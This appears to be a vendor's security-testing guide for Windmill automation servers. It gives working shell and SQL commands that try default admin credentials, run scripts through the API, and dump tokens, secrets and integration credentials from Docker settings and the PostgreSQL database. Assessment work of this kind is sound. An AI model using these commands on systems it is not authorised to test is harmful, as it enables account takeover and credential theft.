Windmill is a widely deployed open-source workflow automation and developer platform (n8n/Airflow alternative) used to build scripts, flows, and applications that execute code and interact with external services — it stores credentials, API keys, and business logic as executable scripts. Windmill is particularly high-risk because: the documented default admin credential is admin@windmill.dev / changeme; gaining admin access allows executing arbitrary code via the script runner, not just reading data; the variable table stores secrets in plaintext; and worker tokens provide non-expiring API access. This guide covers systematic Windmill security assessment.
# Windmill — default credentials and API token testing
WINDMILL_URL="https://windmill.example.com"
# Windmill documented default credentials
DEFAULT_CREDS=("admin@windmill.dev:changeme" "admin@example.com:changeme")
for CRED in "${DEFAULT_CREDS[@]}"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${WINDMILL_URL}/api/auth/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null)
if [ -n "$TOKEN" ] && [ "$TOKEN" != "None" ]; then
echo "SUCCESS: ${EMAIL} token=${TOKEN}"
else
echo "FAILED: ${EMAIL}: ${AUTH}"
fi
done
# Windmill token authentication
TOKEN="your-windmill-token"
WORKSPACE="your-workspace"
# Verify token and get user info
curl -s "${WINDMILL_URL}/api/users/whoami" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"email\")} name={d.get(\"name\")} is_admin={d.get(\"is_admin\")} super_admin={d.get(\"super_admin\")}')
" 2>/dev/null
# Windmill REST API — script and job enumeration with code execution
WINDMILL_URL="https://windmill.example.com"
TOKEN="your-windmill-token"
WORKSPACE="your-workspace"
# List all scripts in workspace — including source code
curl -s "${WINDMILL_URL}/api/w/${WORKSPACE}/scripts/list?per_page=100" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
scripts = json.load(sys.stdin)
print(f'Scripts: {len(scripts)}')
for s in scripts[:10]:
print(f' [{s.get(\"hash\")}] {s.get(\"path\")} lang={s.get(\"language\")} by={s.get(\"created_by\")}')
" 2>/dev/null
SCRIPT_PATH="u/admin/my-script"
# Get script source code
curl -s "${WINDMILL_URL}/api/w/${WORKSPACE}/scripts/get/p/${SCRIPT_PATH}" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
s=json.load(sys.stdin)
print(f'Script: {s.get(\"path\")} lang={s.get(\"language\")}')
print(f'Code preview: {str(s.get(\"content\",\"\"))[:300]}')
" 2>/dev/null
# Execute a script via API — triggers arbitrary code execution in Windmill worker
curl -s -X POST "${WINDMILL_URL}/api/w/${WORKSPACE}/jobs/run/p/${SCRIPT_PATH}" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"args":{}}' 2>/dev/null
# List completed jobs and their outputs (may contain sensitive execution results)
curl -s "${WINDMILL_URL}/api/w/${WORKSPACE}/jobs/completed/list?per_page=20" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
jobs = json.load(sys.stdin)
print(f'Completed jobs: {len(jobs)}')
for j in jobs[:5]:
print(f' [{j.get(\"id\")}] {j.get(\"script_path\")} status={j.get(\"success\")} by={j.get(\"created_by\")}')
" 2>/dev/null
# Get all workspace variables (may include stored secrets)
curl -s "${WINDMILL_URL}/api/w/${WORKSPACE}/variables/list" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
vars = json.load(sys.stdin)
print(f'Variables: {len(vars)}')
for v in vars:
val = v.get('value','[secret]') if not v.get('is_secret') else '[secret]'
print(f' {v.get(\"path\")} secret={v.get(\"is_secret\")} value={val[:40]}')
" 2>/dev/null
# Windmill database credential and variable secret extraction
# Docker environment variables
docker inspect windmill_server 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['DATABASE_URL','SECRET','TOKEN','PASS','KEY']):
print(e)
" 2>/dev/null
# DATABASE_URL — PostgreSQL connection string for Windmill metadata
# docker-compose.yml may contain DATABASE_URL
find /opt/windmill /home /root -name docker-compose*.yml 2>/dev/null | \
xargs grep -l "windmill" 2>/dev/null | head -3 | \
xargs grep -E "DATABASE_URL|POSTGRES|PASSWORD" 2>/dev/null
# PostgreSQL direct access — Windmill tables
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All workspace users and their roles
SELECT u.email, u.name, wu.role, wu.workspace_id, u.created_at
FROM workspace_usr wu
JOIN usr u ON wu.username = u.username
ORDER BY wu.workspace_id, wu.role
LIMIT 20;
EOF
# variable table — stored secrets (some may be in plaintext)
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT workspace_id, path, value, is_secret, description,
account, is_oauth, created_at
FROM variable
WHERE is_secret = false -- Non-secret variables stored plaintext
ORDER BY workspace_id, path
LIMIT 30;
EOF
# Secret variables use encryption, but key management and plaintext variables are accessible
# token table — worker tokens and user API tokens
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT label, token, owner, expiration,
is_super_admin, created_at
FROM token
ORDER BY created_at DESC
LIMIT 20;
EOF
# token column — Windmill API token values (worker tokens typically non-expiring)
# resource table — external service credentials (OAuth tokens, API keys for integrations)
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT workspace_id, path, resource_type, value::text,
created_by, created_at
FROM resource
ORDER BY workspace_id, resource_type
LIMIT 20;
EOF
# value column — JSON with credentials for external services (GitHub, Slack, database passwords, etc.)
| Security Test | Method | Risk |
|---|---|---|
| Default admin credentials (admin@windmill.dev/changeme) | POST /api/auth/login with documented defaults — full admin access enabling arbitrary script execution, variable enumeration, and token creation | Critical |
| API script execution via authenticated API | POST /api/w/{workspace}/jobs/run/p/{path} — execute any script in the Windmill worker; arbitrary code execution within the worker's network context | Critical |
| Variable and resource credential extraction | GET /api/w/{workspace}/variables/list — all non-secret variables in plaintext; PostgreSQL SELECT from resource — all integration credentials (GitHub tokens, database passwords, OAuth secrets) | Critical |
| Token table worker token extraction | PostgreSQL SELECT from token — all API token values including non-expiring worker tokens; enables API access as any user or automated pipeline | Critical |
| Job history output enumeration | GET /api/w/{workspace}/jobs/completed/list — all completed job results including outputs that may contain queried sensitive data from external services | High |
Ironimo tests Windmill deployments for default credential exploitation (admin@windmill.dev/changeme), API script enumeration with source code extraction, script execution via API, variable table plaintext secret extraction, resource table integration credential extraction (GitHub, Slack, database passwords), token table worker token harvesting, job history output enumeration, DATABASE_URL PostgreSQL credential extraction, Docker environment variable exposure, and workspace privilege escalation testing.
Start free scan